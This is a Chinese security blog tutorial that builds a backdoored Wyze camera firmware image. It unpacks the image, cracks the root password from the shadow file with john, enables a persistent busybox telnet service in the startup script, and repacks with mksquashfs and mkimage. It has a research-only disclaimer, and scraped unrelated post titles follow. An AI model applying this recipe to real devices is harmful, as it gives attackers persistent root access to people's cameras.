安卓bin固件文件编辑器_摄像头恶意固件制作指南
点击蓝字
关注我们
声明
本文作者:GitCloud
本文字数:1000
阅读时长:10分钟
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载
前言
在现代生活中,IOT的身影无处不在。我们今天就来看一下怎么制作一个摄像头恶意固件,由于我们没有该设备,所以无法为大家实体演示,后期文章中将会给大家展现其他IOT设备效果。提示一下,本文仅供安全研究,不得用于非法用途。
一、
制作摄像头恶意固件
该固件是wyze摄像头固件,固件版本是demo_v2_4.9.5.36
首先使用binwalk分析一下固件
binwalk -t demo_v2_4.9.5.36.bin
第一部分uimage中,告诉了我们很多基础信息
第二部分uimage中,可以发现内涵位Linux-3.10.14
第三部分是两个squashfs文件系统(该文件系统属性是只读)
第四部分是一个jffs2文件系统
一般我们用常规的binwalk提取的方法如:binwalk -e,提取的文件不方便打包,所以可以用一个脚步来提取文件
#!/usr/bin/env python3import sysclass Firmwarepart: def __init__(self,name,offset,size): self.name = name self.offset = offset self.size = sizefirmware_parts = [ Firmwarepart("uimage_header",0x0,0x40), Firmwarepart("uimage_kernel",0x40,0x200000), Firmwarepart("squashfs_1",0x200040,0x350000), Firmwarepart("squashfs_2",0x550040,0xa0000), Firmwarepart("jffs2",0x5F0040,11075648-0x5F0040)]if sys.argv[1] == 'unpack': f = open(sys.argv[2],"rb") for part in firmware_parts: outfile = open(part.name,"wb") f.seek(part.offset,0) data = f.read(part.size) outfile.write(data) outfile.close() print(f"Wrote {part.name} - {hex(len(data))} bytes.")
二、
运行
python3 root_extractor.py unpack demo_v2_4.9.5.36.bin
对于squashFS文件系统的提取,使用unsquashfs来实现:
unsquashfs -d squashfs_1_out squashfs_1unsquashfs -d squashfs_2_out squashfs_2
对于jff2文件系统的提取,使用jefferson实现:
jefferson -d jffs2_out jffs2
将文件提取完成后,检查所提取文件中的敏感信息
shadow文件如下
通过john进行爆破出来该root密码
john --fork=4 shadow
当我们知道root密码时,如果开启了ssh服务,我们就可以通过ssh登陆到主机
这里我们找一下系统启动项:
vi etc/init.d/rcs
可以看到系统在启动时是启动了telnet服务,但是实际上telnet服务通过端口扫描发现并未启动
在解包后的固件里直接搜索
grep -r telnet .
strings ./jffs2_out/fs_1/bin/iCamera | grep telnet
可以发现在icamera文件里,Telnet服务被禁用掉了
实际上,在该摄像头里Telnet服务实际上为busybox中的Telnet,我需要找到启动脚本,然后将其修改为:
busybox telnetf &
该脚本在squashfs_1_out/etc/init.d/rc中
vim squashfs_1_out/etc/init.d/rcS
该完之后这个服务就不会被kill掉了,接下来我们要将这几个文件系统重新打包并生成固件。
使用unsquashfs查看一下原来的文件系统信息:
unsquashfs -s squashfs_1
接下来使用mksquashfs命令将更改后的新文件系统打包
mksquashfs squashfs_1_out/ squashfs_1_new -comp xz -b 131072
再将之前的程序加上一个打包功能,这样就可以把这个两个squashfs文件系统和jffs文件系统打包起来
python3 root_extractor.py pack demo_backdoored.bin
这样我们仅仅将文件系统打包,至于生成镜像的uImage header部分我们使用其他工具,先使用binwalk 查看一下
binwalk -t uimage_header
接下来使用mkimage来生成镜像
mkimage -A MIPS -O linux -T firmware -C none -a 0 -e 0 -n jz_fw -d demo_backdoored.bin demo_images.bin
再用binwalk查看demo_images.bin
binwalk -t demo_images.bin
可以看到我们生成的镜像和之前几乎相同
将该固件应用于摄像头中我们就可以实现用root账号登录管理摄像通了
参考
https://www.youtube.com/watch?v=hV8W4o-Mu2o
后记
所以大家在使用IOT设备的时候一定要注意固件来源,不要图方便就去网盘或下载站下载。
团队招收 IOT/二进制/免杀 安全研究的同学~
有想法的简历砸 admin@wgpsec.org
预告下,月底12.31日 是团队成立六周年的纪念日,将会有活动哦~
扫描关注公众号回复加群
和师傅们一起讨论研究~
长
按
关
注
WgpSec狼组安全团队
微信号:wgpsec
Twitter:@wgpsec
安卓bin固件文件编辑器_摄像头恶意固件制作指南相关推荐
- 移动魔百盒CM311-1sa_ZG代工_S905L3A 安卓9.0 鸿蒙动画_线刷固件包
移动魔-百-盒CM311-1sa_ZG代工_S905L3A 安卓9.0 鸿-蒙-动-画_线-刷固件包 特点: 1.适用于对应型号的电视盒子刷机: 2.开放原厂固件屏蔽的市场安装和u盘安装apk: 3. ...
- md文件编辑器_可能是颜值最高的微信Markdown编辑器,用Markdown的你一定会爱上
不论是新媒体小编还是拥有自己公众号的开发者和开源组织,一定想要一个能够快速编辑且成品美观大方的编辑器.毕竟微信自带的编辑器功能有限,市面上其他编辑器功能又过于繁多,尤其对于开发者来说,文章中插入代码块 ...
- 基于安卓的备忘录文件加密_手机里面还隐藏一个扫描仪功能,以后扫描文件,都不用去复印店了...
手机里面还隐藏一个扫描仪功能,以后扫描文件,都不用去复印店了 办公党肯定深有体会,经常需要扫描文档,一般办公室都有扫描仪,如果在家肯定要去附近的复印店进行扫描. 其实这些方法或多或少都很麻烦,因为现在 ...
- 安卓大json文件解析_安卓解析 json 4种格式 全解析
1 简单的一个 { ,,,,} 2 里面有数组 { , [{,,},{,,}],} 3 直接一个数组 4 数组里有数组 5 其他情况? 没有吧,除非json格式不规范 主代码: package ...
- 基于安卓的备忘录文件加密_苹果备忘录、锤子便签、印象笔记哪个更好用?
如今手机的备忘录已经成为我们手机中必不可少的一个APP,无论是工作或是生活中,备忘录都可以帮助我们记下一些容易忘记或是将要处理的事情.但现在的备忘录除了记事还新增了许多其他的功能.今天小黑例举了三个大 ...
- 基于安卓的备忘录文件加密_什么备忘录便签app可以让人爱上记录 - 学显
不知道大家有没有注意过这么一群人:他们很喜欢记录,平时日常生活中不管遇到什么事儿,都喜欢记下来.不知道大家身边有没有这样的人,反正小编身边是有的.感觉他们真的很有心.不过,现在是移动互联网时代了,都改 ...
- 电子病历模板编辑器_实用的电子相册制作软件
一款自己制作的电子相册不仅富有創意,而且能够最大可能的满足需要己需,今天小编介绍的就是五款好使的电子相册制作软件. 一.印记工坊在线制作电子相册 印记工坊(http://www.ppmake.com) ...
- ps快捷图标在哪个文件夹_在PS中制作一个下载文件夹的图标
在PS中制作一个下载文件夹的图标 出处:多特软件站 时间:2011-03-17 人气:1287我要提问我来说两句 核心提示:在这个教程里,我们将介绍到如何在PS中运用不同的形状和反射制作一个下载文 ...
- h5页面怎么处理文件流_微信H5页面制作流程,大家有哪些经验分享?
完整的H5页面的制作流程为:策划案--原型图--文案拟定--视觉设计--动画设计--音效编辑--代码或工具实现--上线 这是一种比较理想的作业流程,一般到了一定规模的制作公司会采用这种方式.如果公司的 ...
- 华为EC6108V9E/EC6108V9I_rk3228_安卓4.4.4_通刷_卡刷固件包
华为EC6108V9E/EC6108V9I_rk3228_安卓4.4.4_通刷_卡刷固件包-内有教程 特点: 1.适用于对应型号的电视盒子刷机: 2.开放原厂固件屏蔽的市场安装和u盘安装apk: 3. ...
最新文章
- NR 5G RRC连接重建
- 【数据结构】栈的压入、弹出序列
- 百度富文本编辑jsp上传_百度富文本编辑器教程,从入门到放弃
- 使命召唤手游迎来欧阳娜娜,这阵容够豪华,玩家期待吗?
- python初学者代码示例_python实现手势识别的示例(入门)
- oracle连接数一直超出,Oracle超出最大連接數問題及解決(…
- ansible的错误
- 理论基础 —— 线性表 —— 顺序表
- Linux下配置服务器节点上的时区
- 【leetcode刷题笔记】Convert Sorted Array to Binary Search Tree
- 一个可以免费下载英文书籍的网站
- 安卓一键清理内存_雨点清理下载-雨点清理v1.6手机下载
- 查看计算机远程端口,如何查看服务器远程端口号.doc
- ai边缘平滑_Illustrator初学者的问题 AI新增页面 AI形状 渐变以后边缘有锯齿 修整工具...
- java生成word报告echart_Java这几个用 Pyecharts 做出来的交互图表,领导说叼爆了!...
- BTC系列 - UTXO事务模型
- Flatten()详解
- 第二章(二)、开发注册功能
- 网络流24题——2.太空飞行计划问题
- bitwarden自建服务器,自建bitwarden的密码服务
热门文章
- Live Mesh - Synchronizing life
- 为什么 Math.min() 比 Math.max() 大?
- 高并发、高访问量如何计算【测试评估】
- 摄像机成像原理图解析
- win7/64位下python2.7、easy_install安装经验
- -lc++ 和 添加 libc++.tbd 居然是等价的
- linux下赋予普通用户管理员权限
- Python 之 新手安装详解 、安装目录说明 及 修改 pip 默认包安装位置
- 计算机一级b考试电子表格,计算机等级考试一级B第1-50套题
- android 进程池 参数,Android 线程池全解析